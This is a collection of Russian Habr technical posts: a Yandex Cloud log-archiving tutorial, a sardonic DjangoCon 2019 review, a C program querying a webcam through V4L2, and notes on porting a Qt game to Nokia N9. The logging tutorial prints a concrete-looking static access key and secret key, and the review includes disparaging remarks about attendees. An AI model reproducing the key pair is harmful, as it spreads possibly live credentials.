Cloud Logging —отличный сервис для просмотра логов. Но у него есть ограничение —время хранения. Сейчас сервис находится в стадии превью, поэтому логи хранятся три дня. После выхода в General Availability это время, скорее всего, увеличится, но ненамного. И это будет небесплатно.
Но что делать, если вам хочется посмотреть историческую информацию или необходимо (например, по юридическим или регуляторным причинам) хранить логи дольше года. А еще бы делать это максимально просто и дешево.
Решение есть! А самое прекрасное, что вам почти не понадобится ничего дополнительно делать, если вы уже настроили поставку логов через Fluentbit, как я рассказывал в двух предыдущих постах про поставку логов из [контейнера](https://nikolaymatrosov.medium.com/%D0%BF%D0%B8%D1%88%D0%B5%D0%BC-%D0%BB%D0%BE%D0%B3%D0%B8-%D0%B8%D0%B7-coi-%D0%B2-cloud-logging-%D0%BF%D1%80%D0%B8-%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D0%B8-fluentbit-56b55099daa6) и [systemd](https://nikolaymatrosov.medium.com/%D0%B4%D0%BE%D1%81%D1%82%D0%B0%D0%B2%D0%BA%D0%B0-%D0%BB%D0%BE%D0%B3%D0%BE%D0%B2-%D1%81-%D0%B2%D0%BC-%D0%B8%D0%B7-systemd-%D0%B2-yandex-cloud-logging-1de9a9cd4144).
Чтобы проще всего настроить долгосрочное хранение логов, необходимо поставлять их через Yandex Data Streams при помощи протокола AWS Kinesis Data Streams, а затем складывать их в Yandex Object Storage, используя Yandex Data Transfer.
Теперь давайте разберем этот способ подробнее по шагам.
Шаг 0. Логи
-----------
В этот раз я не буду подробно останавливаться на генерации логов. Если вам необходим пример, обратитесь к одному из вышеупомянутых туториалов.
Я буду считать, что необходимый Input для сбора логов у вас уже настроен.
Шаг 1. Настройка секретов
-------------------------
В этот раз нам даже не понадобится плагин. Для поставки воспользуемся одним из стандартных Output’ов Fluentbit — [Amazon Kinesis Data Streams](https://docs.fluentbit.io/manual/pipeline/outputs/kinesis).
К сожалению, в отличие от плагина от Yandex мы не сможем воспользоваться авторизацией при помощи IAM-токена, который можно получить привязав сервисный аккаунт к ВМ. Нам придется каким-то образом доставить на ВМ статические ключи авторизации в формате AWS (access и secret key). Например, как я предлагал в [туториале про доставку секретов зашифрованных KMS](https://nikolaymatrosov.medium.com/%D0%BA%D0%B0%D0%BA-%D0%B4%D0%BE%D1%81%D1%82%D0%B0%D0%B2%D0%B8%D1%82%D1%8C-%D1%81%D0%B5%D0%BA%D1%80%D0%B5%D1%82%D1%8B-%D0%B2-coi-%D0%BF%D1%80%D0%B8-%D1%80%D0%B0%D0%B7%D0%B2%D0%B5%D1%80%D1%82%D1%8B%D0%B2%D0%B0%D0%BD%D0%B8%D0%B8-docker-compose-e3d69a518034).
> *Важно: убедитесь заранее, что сервисный аккаунт, от имени которого выписаны ключи, имеет необходимые права на запись в YDS — минимум****yds.writer****. YDS кэширует ACL, поэтому, если вы сделаете первую неудачную запись и затем назначите права, применение новых ролей для этого сервиса может затянуться.*
>
>
### systemd
Если вы запустили Fluentbit как systemd unit, то вам нужно отредактировать файл с настройками unit’а, добавив в секцию **Service** строки с переменными окружения:
```
[Service]
Environment=AWS_CONFIG_FILE=...
Environment=AWS_SHARED_CREDENTIALS_FILE=...
```
Переменные **AWS\_CONFIG\_FILE** и **AWS\_SHARED\_CREDENTIALS\_FILE** должны содержать пути до файлов **.aws/config** и **.aws/credentials** соответственно.
Пример содержимого этих файлов:
.aws/credentials
```
[default]
aws_access_key_id = 5Yd7F94k-BMWIPWIMpj4
aws_secret_access_key = eRSQ7f0o8Itn1vZXY-Xcu1Zt_UHLNv4vhI6fROPp
```
.aws/config
```
[default]
region = ru-central1
```
### Контейнер
Вам нужно замаунтить файл с секретами внутрь контейнера. Добавьте маппинг путей в секцию **volumes** в **docker-compose.yml**. Укажите путь до него в переменной окружения, тоже в **docker-compose.yml**, но в секции **environment**.
Шаг 2. Конфигурация Fluentbit и YDS
-----------------------------------
Нужно создать стрим, в который мы будем поставлять логи. В туториале я создам минимально возможный стрим. Для продакшена вам стоит оценить поток ваших логов и конфигурировать стрим, исходя из ваших параметров.
Если у вас еще нет базы YDB, то при создании потока нужно будет сделать ее. Если же у вас есть базы, вы можете выбрать одну из существующих.
Создаем новую базу YDBМинимальный YDS бесплатенТеперь нужно добавить в конфиги Fluentbit еще одну секцию **[OUTPUT]** и в ней описать настройки Amazon Kinesis Data Streams плагина.
Значение **stream** нужно собрать из двух частей, обозначенных на скриншоте выше.
```
[OUTPUT]
Name kinesis_streams
Match *
region ru-central-1
stream /ru-central1/b1glihojf6il6g7lvk98/etnbsg3d51gq7ooo2l6m/s3-logs
workers 1
endpoint https://yds.serverless.yandexcloud.net
```
Шаг 3. Data Transfer
--------------------
Теперь можно перейти на вкладку **Трансферы** и приступить к созданию **Data Transfer**.
Создайте два эндпоинта: источник и приемник.
Источник будет типа Yandex Data Stream. В него мы подключим только что созданный стрим.
ИсточникЕсли вы к тому моменту уже запустили поставку логов, нажмите на кнопку **Предварительный просмотр**. Так вы сможете убедиться, что всё настроено корректно. Откроется попап с примерами записей из источника. У меня это выглядело так.
Далее перейдем к созданию приемника. Выберем для него тип Object Storage. Нужно заполнить бакет для поставки. Остальные поля можно оставить со значениями по умолчанию. Подробнее про эти настройки можно узнать в [документации](https://cloud.yandex.ru/docs/data-transfer/operations/target-endpoint#settings-storage).
Теперь можно создать трансфер, указав свежесозданные эндпоинты в соответствующих полях формы.
Остается лишь активировать наш трансфер, чтобы он начал переносить данные.
Готово. Можно убедиться, что в Object Storage появились логи в формате JSON.
Таким образом можно настроить приемники [других типов](https://cloud.yandex.ru/docs/data-transfer/concepts/index#transfer), например ClickHouse. Там вы сможете делать аналитические запросы к данным из ваших логов.
**P. S.** Yandex Data Streams — это serverless-сервис в Yandex.Cloud. Если вам интересна экосистема Serverless-сервисов и все, что с этим связано, заходите в [сообщество в Telegram](https://t.me/YandexCloudFunctions), где можно обсудить serverless в целом. | https://habr.com/ru/post/589669/ | null | ru | null |
# DjangoCon Europe 2019. А не сдох ли ваш пони?
С 9 по 14 апреля в Копенгагене проходила конференция [DjangoCon Europe 2019](https://2019.djangocon.eu/). Полный надежд и стремлений я прибыл на данное мероприятие, а уезжал в глубоком смятении. В статье я попробую передать мои впечатления от конференции и прокомментировать столь резкую смену отношения к Django.
> Disclaimer: в статье присутствует нетолерантность, безаппеляционность суждений и неоправданная критика.
Привет всем, я Максим, живу в Австрии, в Тироле. Я преподаватель в GeekBrains и совладелец проекта winePad, это коллектор и продавец технических данных по алкогольным напиткам. Обычно это данные о винах.
**Про проект winePad**У нас самая точная база данных в Европе. Это потому что все вина в базе проверены нашими специалистами лично. Коротко о нашей работе: бухать. И порой это бывает жёстко: когда по 40 апробаций в день, следующим утром я не всегда уверен, как попал домой. Ну или не помню, где припаркована машина.
Проект начинался в 2012 с Django 1.4 / Python 2.7 на сервере, и с Jquery на клиенте + JsonRPC сервером. Сейчас набор технологий увеличился. Все равно мы уперлись в буквальном смысле в Django.
Я подключился к проекту в 2015, переняв эстафету у тирольских разработчиков. От некачественной реализации шевелились волосы везде.
*Рассказ о тирольских пастухах, резко переквалифицировавшихся в программисты, я оставлю за кадром. Если вы увидите их решения, уверен, вам резко захочется убивать всех, кто называет себя «тирольским программистом».*
К февралю 2019 стало понятно: развитие проекта невозможно с текущим набором технологий. В поисках ответов я решил съездить на DjangoCon 2019, который очень вовремя проходил в Копенгагене. Что хотелось от конференции:
1. Поучиться у профессионалов, посмотреть, что я могу улучшить в своей работе.
2. Окунуться в мир новых решений для моей платформы.
3. Потусить с такими же Django-задротами, как и я. Войти, так сказать, в тусовку.
4. Понять, что не так с Django. С 2016 года регулярно посещают мысли, что я что-то упускаю. Только не могу понять что.
Что же из всего этого получилось:
Нулевой день
------------
Во вторник днем, до начала конференции, проходило собрание Django Girls — это инициатива DjangoFoundation по продвижению Django в женские массы. С 17 часов началась регистрация. В роли бейджей выступали 3-дюймовые дискеты, любой желающий мог записать на дискету все, что хотел (ха-ха), USB-дисководы присутствовали.
Во все дни конференции было неограниченное количество крафтового пива с этикеткой «розовый Django-пони», из местной небольшой пивоварни. С одной стороны прикольно, с другой… так себе пиво. В оформлении залов присутствовали розовые летающие лошадки всех размеров.
От ненавязчивого символизма и ощущения причастности к сообществу лошадиных пастухов был особый веселящий привкус. Я познакомился с [Russell Keith-Magee](https://github.com/customer-stories/freakboy3742), многолетним бессменным разработчиком Django. Все прибывшие на эту конференцию зависят от его программных решений.
Покупая билет, я должен был согласиться на соблюдение [правил конференции](https://2019.djangocon.eu/conduct/) по открытости, толерантности, конструктивному критицизму и уважению сексуальных предпочтений участников. Соглашаясь на это, я и не подозревал, к чему это может привести…
Тут я впервые узнал про правило Pacman-a: если к кругу разговаривающих подходит ещё один человек, участники беседы ДОЛЖНЫ расступиться и освободить место для нового собеседника. В общем, можно было бухать и жрать чипсы (в любом количестве), знакомиться с прибывающими специалистами, присоединяться к абсолютно любому разговору, дергать организаторов.
**Субъективизм и отсутствие толерантности**Многие участники были в неопрятной одежде, рваной обуви, странно пахли, и выглядели заплывшими. Это видение несильно изменилось в следующие дни. Мне это было странно видеть.
Вечером я прогулялся по Копенгагену.
Милый городок на берегу холодного моря, немного напомнил Питер. Тут слишком перебарщивают с велосипедами, но за рыбные рестораны можно простить все. Это очень вкусно.
В первые три дня конференции доклады шли в зале на 500 человек (было 377 участников). [Параллельно в отдельных залах были воркшопы](https://members.2019.djangocon.eu/conference/schedule/). Большинство докладов записаны на видео, вы можете посмотреть их на [YouTube](https://www.youtube.com/user/djangoconeurope). Трансляций воркшопов нет. Список и описание докладов и воркшопов [тут](https://2019.djangocon.eu/talks/). ВСЕ воркшопы без исключения были очень плохо подготовлены, это отмечали и остальные участники.
В перерывах предлагалось много еды и кофе. В этом плане конференция была хорошо подготовлена. Стенды спонсоров, в основном HR, ненавязчиво стояли в холле. Мне было интересно поболтать со скандинавскими хедхантерами.
День первый
-----------
#### Открывающая лекция про ситуацию с DjangoProject
Коротко: помогите кто чем может.
#### Воркшоп GraphQL
JSON для ленивых. Жизнь не станет лучше, если все начнут использовать другую нотацию запросов.
#### Life is hAPIer
Враппер Django REST, начните писать 4 строки кода вместо 6.
#### Воркшоп про переезд на новую версию кода без остановки сервера
История про десятимесячную операцию на ~~сердце~~ коде из 100 моделей. Проект был создан три раза:
1. Со старыми моделями.
2. Со старыми и новыми моделями и возможностью online-переключения.
3. Без старых моделей и переключателей.
Долго и дорого.
Из-за этого воркшопа я пропустил три лекции, о двух отзывались хорошо, буду смотреть в записи:
* pull-реквест на 750 000 строк.
* Django web-security-headers.
После перерыва с очередной цистерной кофе была лекция про **DJANGO-ORM**. Докладчик — Sigurd Ljodal. Это разработчик текущего ORM, его деятельность можно посмотреть по репозиторию Django.
Доклад полезный, но меня расстроил. С одной стороны — новая ORM-Django очень повзрослела. С другой стороны — Sigurd использовал в примерах недокументированные возможности `queryset.query`. На последующем общении с Sigurd меня поразило, что он, как и большинство Django-разработчиков, не очень знает методы `queryset.query`.
*«Чего ж ты их в примерах используешь!» — вопрошал я. «Ну… вот так...» — отвечал Sigurd.*
После всех докладов шли «lightning talks» («молнии»). Доклады-пятиминутки для тех, кто стихийно захотел выступить. «Молнии» в основном были интересны, но пять минут — этого мало. Цель докладчика заинтересовать, а люди потом могут спрашивать.
Несколько грузовиков с пивом и долгие разговоры после «lightning talks»… Первый день завершен.
День второй
-----------
#### Воркшоп: Бутстрап Django
Не получился.
#### Распознавание картинок, машинное обучение с Django
Никакого обучения, использование внешних ресурсов, косяки в распознавании, смешные картинки в примерах. Ни о чем, но весело.
#### Воркшоп по распознаванию картинок
Все заработало, и картинка по ее части была найдена среди 10 других. Но скорость работы перечеркнула все. 20 секунд на подготовку, 30-40 секунд на поиск. Я посчитал: на однократный поиск в нашем проекте по картинкам уйдут годы. А у нас в день десятки тысяч подобных запросов. Предложенное решение мне не подходит.
#### Визуальное тестирование изменений
Фронтэндщикам может быть полезно.
#### SQL-Alchemy vs Django-ORM
Докладчик Глеб из DjangoStars. С идеей согласен, но некоторые вещи я бы все равно реализовал через методы DJANGO-ORM. Главное, что я увидел, где можно применить алхимию в моем проекте.
#### Воркшоп: полный путь request/response по пищепроводу Django
Полезно было освежить знания. Django-разработчик, помни: все что ты делаешь — это настройка WSGI-приложения.
Дальше я загорелся идеей выступить на «молниях». Я делал презентацию и пропустил несколько докладов.
#### Божественный доклад о ведении документации проекта
От руководителя команды документации RedHat.
Я подскочил поблагодарить докладчицу после. Она понятно рассказала, почему я должен все бросить и начать документировать свой проект. В момент благодарности я прикоснулся к ее предплечью. Что тут началось!!! Это песец. Я думал меня посадят. Все обошлось словесным взысканием за неподобающее поведение по отношению к другому участнику конференции.
#### Пентестинг при помощи ZAP
Приложение попробует все известные ей методы взломать указанный сайт.
Сразу захотелось попробовать хакнуть свой проект.
Молнии были полезнее, чем в первый день.
#### Александр (DjangoStars) рассказал о вариантах хранения settings
#### Рассказ о враппере для полей моделей
Враппер следит за возвращаемым типом значения.
#### Доклад про установку заглушек вместо показа приватных данных клиентов
Пригодится на этапе разработки, тестирования и логирования. В эпоху поголовного действия закона о защите данных об этом стоит задуматься. Увы, автор так и не ответил, зачем он заново изобрел декоратор `@sensitive_variables`. Похоже, что он просто не читал документацию.
#### Доклад об использовании переменных с зоной видимости в рамках одного потока
Я использую подобное решение давно. Скажу только, использование глобальных переменных в Django — это от недостатка умений и от незнания архитектуры.
После двух дней конференции я был расстроен: пару полезных докладов за три дня. Очень мало про Django, очень много про посторонние и ненужные решения. WTF??? И даже Копенгаген меня не успокоил.
**Вода в каналах чистейшая. Видно, что на дне. Вы тоже там что-то видите?**
Гениальный третий день
----------------------
Этот день окупил все страдания, развеял сомнения и принес еще больше печали. Мой совет — изучайте все, что вы найдете про доклады третьего дня. Такую крутую инъекцию знаний редко где можно найти.
#### Доклад про убийства в викторианскую эпоху
Девушка рассказала на пальцах причину появления закона о защите данных пользователей. Мне стала понятна глубинная причина появления такого закона. Проблема с защитой данных, как и проблема с электроизоляцией — случайно кого-то может убить.
#### Использование GeoDjango с примерами
От автора документации по GeoDjango. Красота.
У меня это запланировано в проекте. Теперь я знаю, как это реализовать.
#### Архитектор Эластик групп о программных продуктах компании
Сюда входит elasticsearch.
Понравился пример, как встроить график активности пользователей в админ-панель Django.
#### Полный цикл создания собственного поля модели
Мне понравилось: у меня есть несколько своих полей, но я многое упустил в процессе их создания.
#### Система «плагинов» Django
Плагин включается и выключается на лету, проверка включения через… сигналы. Слишком экзотичный вариант решения, чтобы использовать. Разок прокатит под соусом «смотри, как еще можно».
Потом я повелся на речи про elasticsearch и пошел на воркшоп. Тут я пропустил два доклада и потерял время.
А вот что было потом, можно многократно пересказывать в красках. С каждым разом приходит более глубокое понимание сути услышанного.
#### Редизайн вашего проекта Django
Разработчики рано или поздно сталкиваются с рекомендацией: Fat Models, skinny Views, stupid Templates (тупые шаблоны, тонкие вьюхи, толстые модели).
От себя дополню: выборка объектов только в методах `ObjectManager` и в методах `QuerySet`, порожденных `ObjectManager`.
Дальше такого перераспределения кода мало кто ушел. В докладе были примеры максимального устранения зависимостей и полного абстрагирования бизнес-логики.
Это солидный урок последователям каноничного стиля разделения кода. Устойчивость от изменений. Независимость решения… Все то, что и должно быть в качественном продукте. В конце доклада приводилась литература, которая поможет это реализовать.
Супер полезно.
Потом были речи и закрытие официальной части DjangoCon.
А потом был доклад, ответивший на все мои вопросы и подтвердивший мои ощущения.
#### Наброски для редизайна Django
Докладчик — Том Кристи, создатель [Django REST framework](https://www.django-rest-framework.org/). В слайдах Том рассказал и показал в примерах кода, почему Django (и, как следствие, DRF) больше не имеет возможностей развития. Да, можно исправлять ошибки, да можно добавлять финтифлюшки или улучшать ORM. Общая же форма Django все равно остается неизменной.
Когда Том сказал, «я вообще не думаю, что возможно построить высоконагруженную быструю систему на Python», народ притих.
Дальше Том показал примеры кода, как решить вопросы асинхронности в Django-проектах и какие проблемы последуют.
Для асинхронного ORM были упомянуты Ариадна и недоделанный асинхронный DB-драйвер. Для шаблонов Jinja и переделывание кода шаблонов.
Доклад четко обрисовал, что для создания из Django фреймворка, готового к современным технологиям, надо переписать все, что есть в Django. И желательно на другом языке. Было ясно, что Django в тупике развития, красивом, уютном, и устаревшем лет на 10.
**Я очень благодарен Тому, что он не оставил меня, и показал варианты куда развиваться**Вариант, как дальше пилить Django, если вы не готовы пока бросать эту дохлую лошадь. Библиотеки, как интегрировать, как тестировать. Starlet, SQLAlchemy, Jinja-templates и т.д., подробнее смотрите в слайдах.
Вариант, что делать дальше тем, кто хочет слезть. Пока нет решения «так же, как в Django». Был обзор существующих аналогов, быстродействие, сложности, перспективы. Я уже попробовал упомянутый GO, мне почти понравилось.
На молниях я рискнул выступить с призывом пилить Django и дальше. Только после выступления Тома Кристи — призыв звучал совсем неубедительно.
Следующие два дня состояли из **спринтов**. Те, кто остался, работали с Django: открывали сообщения об ошибках и правили их.
После успешной правки можно было подбежать и грохнуть в гонг на весь зал. Частота бумов была каждые 5-7 минут.
**Для интереса, что происходит на спринтах**Я посмотрел одну из одобренных правок: исправление ошибки конвертации числа в строку. (*#30363 — Do not use exponential notation for small decimal*) файл *django/utils/numberformat.py*
И мне стало совсем грустно:
* Правка содержит ошибку возвращаемого типа.
* В код добавлено две ненужных рекурсии.
* Автор, похоже, не понял, как работает `Decimal`.
* Тесты не проверяют все граничные случаи и возвращаемый тип данных.
Я переписал код и подошел к одобрившему предыдущую правку, и сказал: у вас тут ошибка! И выбрал неверную стратегию: программисты не очень любят, когда кто-то говорит про их ошибки, особенно про проверенные и одобренные.
Лучше бы было показать баг-репорт. Мне конечно же ответили, что это так и должно быть. Проверкой типов в питоне никто не занимается и, вообще, питон — язык без строгой типизации. И потому, мальчик, иди-ка ты лесом, тут и без тебя дел много. Столь неграмотного отношения к редактуре кода, и невосприимчивости к указанию на ошибку я не ожидал.
Отсюда вытекает еще одна проблема, почему Django такая, какая она есть: часто ошибки правят люди, не понимающие алгоритм или идею. Именно поэтому появляются новые ошибки, кривые методы типа `QuerySet.as_manager`, неотключаемый `GROUP_BY` в запросе с `base_sort=True` (не проверял, может исправили), или же алогичные решения, как с формсетами и инлайнами в `AdminModelForm`.
Кроме спринтов было пару воркшопов, мне понравился повтор про ZAP. Крякнуть сайт удалось, и дыры в безопасности были найдены.
**А в Копенгагене тем временем было холодно и солнечно**
Я посетил Христианию, погулял по каналам и посмотрел на русалочку.
Домой я уезжал в задумчивости. Я хотел увидеть новые возможности в Django… а нашел их где-то еще. Я хотел донести, что есть быстрое и верное решение… и не сумел (про баг я все же сообщу). Хотел войти в профессиональный мир… но что-то не так я себе это представлял. Знание приносит печаль. Главное, что я знаю, куда идти дальше.
P.S. Решение про мой проект принято, пока winePad останется на Django.
P.P.S. Я открыт для обсуждения как конференции, так и Django. Спрашивайте, если непонятно.
P.P.P.S. С 20-го июня 2019 на GeekBrains стартует мой курс по Django на [факультете](https://geekbrains.ru/geek_university/python?utm_source=habr.com&utm_medium=media&utm_campaign=data_24_04_19&utm_content=prog) Python-разработки, я обязательно упомяну на курсе важные моменты, о которых я узнал на конференции. | https://habr.com/ru/post/448700/ | null | ru | null |
# Работа с usb видеокамерой в Linux. Часть 1
По популярности видеокамера, сегодня, стоит в одном ряду с микрофоном и наушниками. Она используется в различных направлениях, таких как распознавание объектов, дополненная реальность, видеоконференции и множество других. Но что же скрыто под капотом этих сложнейших программ? Как мы получаем картинку с видеокамеры? Этот цикл статей позволит взглянуть на простоту работы с видеокамерой на низком уровне, обработку полученного изображения.
Для начала, немного информации о работе с устройствами в системе Linux. Устройства в nix системах представляют собой файл. С некоторыми файлами-устройств мы можем работать как с обычными файлами. Например:
```
~$ cat /dev/sda
```
*эта команда выведет на экран весь диск sda.*
Есть устройства с которыми нельзя работать напрямую, к ним относится видеокамера.При попытке это сделать мы получим такую реакцию системы:
```
~$ cat: /dev/video0: Недопустимый аргумент
```
*\*Где /dev/video0 это файл-устройство найшей видеокамеры.*
Для работы с ней нам понадобится системная функция ioctl детальнее о ней можно ознакомится [[1]](#1). Попробуем это применить. Вот код позволяющий считать информации с устройства (альтернатива команде cat для видеоустройств):
**Код тут**
```
#include
#include
#include
#include
#include
#include
int main (int argc,char\* argv[])
{
/\*Read Params\*/
char \*device\_name;
if(argc > 1)
{
 device\_name = argv[1];
}
else
{
 device\_name = "/dev/video0";
}
/\*Open Device\*/
int file\_device = open(device\_name, O\_RDWR, 0);
if (file\_device == -1)
{
 printf ("%s error %d, %s\n",device\_name, errno, strerror(errno));
 exit(EXIT\_FAILURE);
}
/\*Read Params From Device\*/
struct v4l2\_capability device\_params;
if (ioctl(file\_device, VIDIOC\_QUERYCAP, &device\_params) == -1)
{
 printf ("\"VIDIOC\_QUERYCAP\" error %d, %s\n", errno, strerror(errno));
 exit(EXIT\_FAILURE);
}
printf("driver : %s\n",device\_params.driver);
printf("card : %s\n",device\_params.card);
printf("bus\_info : %s\n",device\_params.bus\_info);
printf("version : %d.%d.%d\n",
((device\_params.version >> 16) & 0xFF),
((device\_params.version >> 8) & 0xFF),
(device\_params.version & 0xFF));
printf("capabilities: 0x%08x\n", device\_params.capabilities);
printf("device capabilities: 0x%08x\n", device\_params.device\_caps);
/\* Close Device \*/
if (-1 == close (file\_device))
{
 printf ("\"close\" error %d, %s\n", errno, strerror(errno));
 exit(EXIT\_FAILURE);
}
file\_device = -1;
return 0;
}
```
В первых строках кода считываются параметры с которой запущено приложение. Если параметров нету то device\_name принимает стандартоне значение "/dev/video0".
В блоке «Open Device» происходит открытие устройства системной функцией open (нужно подключить header fcntl.h). Обязательный параметр O\_RDWR отвечает за открытие устройства считывания/записи. Если при подключении возникла ошибка, то функция open вернет -1.
Блок «Read Params From Device» — это сердце нашей маленькой программы. Для его использования надо подключить билиотеку возможно прийдется её установить, у каждого дистрибутива свой пакет под эту библиотеку
Системная функция *ioctl* имеет три параметра:
file\_device — дескриптор нашего устройства
VIDIOC\_QUERYCAP — функция ядра, которую применяем для нашего устройства.
device\_params — область памяти куда будет сброшен результат функции «VIDIOC\_QUERYCAP».
device\_params это структура состоящая из таких полей:
```
struct v4l2_capability
{
__u8  driver[16]; // имя модуля драйвера - который обслуживает видеоустройство
__u8  card[32]; // имя видеоустройства
__u8  bus_info[32]; // шина к которой подключена камера (в нашем случае usb-порт)
__u32 version // версия ядра системы
__u32 capabilities // свойства(возможности/функции) физического устройства
__u32 device_caps; // функции доступные этому устройству
__u32 reserved[3]; // резервное поле
};
```
если возникла ошибка ioctl вернет -1
Блок «Close Device» закрывает дескриптор устройства.
Посмотрим программу в действии.
скомпилируем
```
gcc catvd.c -o catdv
```
запустим
```
./catvd /dev/video0
/dev/video0 error 2, No such file or directory
```
устройство не определилось ядром либо не подключено ~~уборщица опять ненужные провода дергала~~.
Подключаем и заново запуск. Получаем такую информацию:
```
./catvd /dev/video0
driver : uvcvideo
card : UVC Camera (046d:0804)
bus_info : usb-0000:00:12.2-3
version : 3.11.10
capabilities: 0x84000001
device capabilities: 0x04000001
```
поле capabilities и device capabilities можно расшифровать благодаря константам из файла videodev2.h:
```
V4L2_CAP_DEVICE_CAPS 0x80000000 // устроство содержит поля для изменения параметров.
V4L2_CAP_STREAMING 0x04000000 // это потоковое устройство i/o ioctls.
V4L2_CAP_VIDEO_CAPTURE 0x00000001 // устроство имеет функцию видеозахвата.
```
На этом вводная статья заканчивается. В следующих обзорах будут затронуты, такие темы как memory-mapping, виодеформаты изображения, настройка камеры, вывод изображения в текстуру, работа с несколькими камерами.
Ресурсы используемые в статье:
1. [статья о работе ioctl](http://rus-linux.net/MyLDP/BOOKS/lkmpg-1/node18.htm)
2. [о работе с video for linux (слегка устаревшая информация)](http://pages.cpsc.ucalgary.ca/~sayles/VFL_HowTo/#section1)
[Исходник программы, используемой в статье](https://github.com/rsv91/v4linux_lessons/tree/master/lesson1). | https://habr.com/ru/post/211608/ | null | ru | null |
# Портирование игры на Nokia N9
В этой статье речь пойдет о портировании игры [Forest Tower Defense](http://habrahabr.ru/blogs/gdev/136725/) на телефон Nokia N9.
Я хорошо знаком с Qt, но плохо с QML, к счастью мне полностью удалось избежать его использования в приложении (да, это возможно!). Весь код в этой статье будет на C++, олдфаги одобряют.
#### Окно
Главное и единственное окно игры — это [QGLWidget](http://developer.qt.nokia.com/doc/qt-4.8/qglwidget.html)
```
class Widget : public QGLWidget, public Platform
{
Q_OBJECT
//...
```
Что такое Platform, и как проектировать кросплатформенные игры, можно почитать [тут](http://habrahabr.ru/blogs/gdev/133897/).
#### Графика
Все рисование происходит в [QWidget::paintEvent](http://developer.qt.nokia.com/doc/qt-4.8/qwidget.html#paintEvent)
```
void Widget::paintEvent(QPaintEvent *)
{
QPainter painter(this);
m_painter = &painter
Application::instance().render();
flushFragments();
}
```
Хочу поделиться интересной находкой — методом [QPainter::drawPixmapFragments](http://developer.qt.nokia.com/doc/qt-4.8/qpainter.html#drawPixmapFragments) (появился в Qt 4.7). Если все изображения хранятся в одном [QPixmap](http://developer.qt.nokia.com/doc/qt-4.8/qpixmap.html)'е, то достаточно создать массив объектов [QPainter::PixmapFragment](http://developer.qt.nokia.com/doc/qt-4.8/qpainter-pixmapfragment.html), каждый элемент которого будет содержать координаты, размеры, угол, масштаб, прозрачность и положение в исходном QPixmap'е. После этого делаем один вызов QPainter::drawPixmapFragments — и все фрагменты будут нарисованы:
```
void Widget::flushFragments()
{
m_painter->drawPixmapFragments(m_fragments.constData(), m_fragments.size(), pixmap);
m_fragments.clear();
}
```
Такой подход работает быстрее, чем отдельные вызовы [QPainter::drawPixmap](http://developer.qt.nokia.com/doc/qt-4.8/qpainter.html#drawPixmap).
#### Полноэкранный режим
Для того, чтобы спрятать toolbar и statusbar, достаточно вызвать метод [showFullScreen](http://developer.qt.nokia.com/doc/qt-4.8/qwidget.html#showFullScreen)
```
int main(int argc, char** argv)
{
QApplication a(argc, argv);
QWidget w;
w.showFullscreen();
return a.exec();
}
```
Казалось бы, это очевидно, но я узнал об этом абсолютно случайно — заметил этот метод в документации и решил попробовать. Если вы будете искать в гугле что-то вроде «meego harmattan hide toolbar», то скорее всего найдете, как это сделать на QML, но не на С++. Будьте внимательны, у QWidget есть также метод [showMaximized](http://developer.qt.nokia.com/doc/qt-4.8/qwidget.html#showMaximized), который работает совсем не так, как showFullScreen.
#### Звук
[](https://projects.developer.nokia.com/qtgameenabler)[QSound](http://developer.qt.nokia.com/doc/qt-4.8/QSound.html) на Nokia N9 не работает, этот вариант отпадает. [Phonon](http://developer.qt.nokia.com/doc/qt-4.8/phonon-module.html) работает, но подходит только для проигрывания фоновой музыки. Для коротких и быстрых звуковых эффектов, которые могут накладываться друг на друга, нужно было найти что-нибудь другое. Мой выбор пал на [QtGameEnabler](https://projects.developer.nokia.com/qtgameenabler) — набор классов для разработки игр c Qt.
Разобрался я с ним довольно быстро, вот основные шаги для добавления в игру звуковых эффектов:
а) скопировать папку qtgameenabler в корень проекта, в .pro файле добавить строчку
```
include(qtgameenabler/qtgameenableraudio.pri)
```
б) создать объекты [AudioMixer](https://projects.developer.nokia.com/qtgameenabler/browser/trunk/qtgameenabler/src/audiomixer.h), [AudioOut](https://projects.developer.nokia.com/qtgameenabler/browser/trunk/qtgameenabler/src/audioout.h)
```
GE::AudioMixer audioMixer;
GE::AudioOut audioOut(&audioMixer);
```
в) для каждого звука создать [AudioBuffer](https://projects.developer.nokia.com/qtgameenabler/browser/trunk/qtgameenabler/src/audiobuffer.h)
```
GE::AudioBuffer* appleHit = GE::AudioBuffer::loadOgg("/opt/foresttd-n9/assets/audio/appleHit.ogg");
GE::AudioBuffer* iceCrash = GE::AudioBuffer::loadOgg("/opt/foresttd-n9/assets/audio/iceCrash.ogg");
GE::AudioBuffer* arrowFly = GE::AudioBuffer::loadOgg("/opt/foresttd-n9/assets/audio/arrowFly.ogg");
```
г) каждый раз, когда мы хотим проиграть звук, создать объект [AudioBufferPlayInstance](https://projects.developer.nokia.com/qtgameenabler/browser/trunk/qtgameenabler/src/audiobufferplayinstance.h) и добавить его в AudioMixer
```
GE::AudioBufferPlayInstance* playOneTime = new GE::AudioBufferPlayInstance(appleHit);
playOneTime->setDestroyWhenFinished(true);
audioMixer.addAudioSource(playOneTime);
```
Бывают случаи, когда одновременно проигрывается больше 10 звуков, в результате получается неприятная ~~кака~~ каша. Простого способа побороть это я не нашел, но придумал достаточно элегантный выход — я унаследовался от AudioBufferPlayInstance и создал глобальный счетчик текущих звуков:
```
class SoundInstance : public GE::AudioBufferPlayInstance
{
public:
SoundInstance(GE::AudioBuffer* buffer)
: GE::AudioBufferPlayInstance(buffer)
{
++ms_count;
}
virtual ~SoundInstance()
{
--ms_count;
}
static int count()
{
return ms_count;
}
private:
static int ms_count;
};
int SoundInstance::ms_count = 0;
```
Перед проигрыванием каждого звука счетчик увеличивается, после — уменьшается. Таким образом я могу контролировать количество одновременно проигрываемых звуков:
```
if (SoundInstance::count() < MAX_SOUNDS)
{
GE::AudioBufferPlayInstance* playOneTime = new SoundInstance(sound);
playOneTime->setDestroyWhenFinished(true);
audioMixer.addAudioSource(playOneTime);
}
```
Спасибо разработчикам QtGameEnabler, что сделали деструктор AudioBufferPlayInstance виртуальным, а также за метод setDestroyWhenFinished! И еще за то, что свежая версия из транка поддерживает формат ogg!
Еще один очень важный момент: для того, чтобы в игре можно было изменять громкость с помощью аппаратных клавиш, необходимо:
а) в .pro файл добавить
```
# Classify the application as a game to support volume keys on Harmattan
gameclassify.files += qtc_packaging/debian_harmattan/$${TARGET}.conf
gameclassify.path = /usr/share/policy/etc/syspart.conf.d
INSTALLS += gameclassify
```
б) В файле qtc\_packaging/debian\_harmattan/your\_target\_name.conf должно быть
```
[classify gaming]
/opt/usr/bin/your_target_name
```
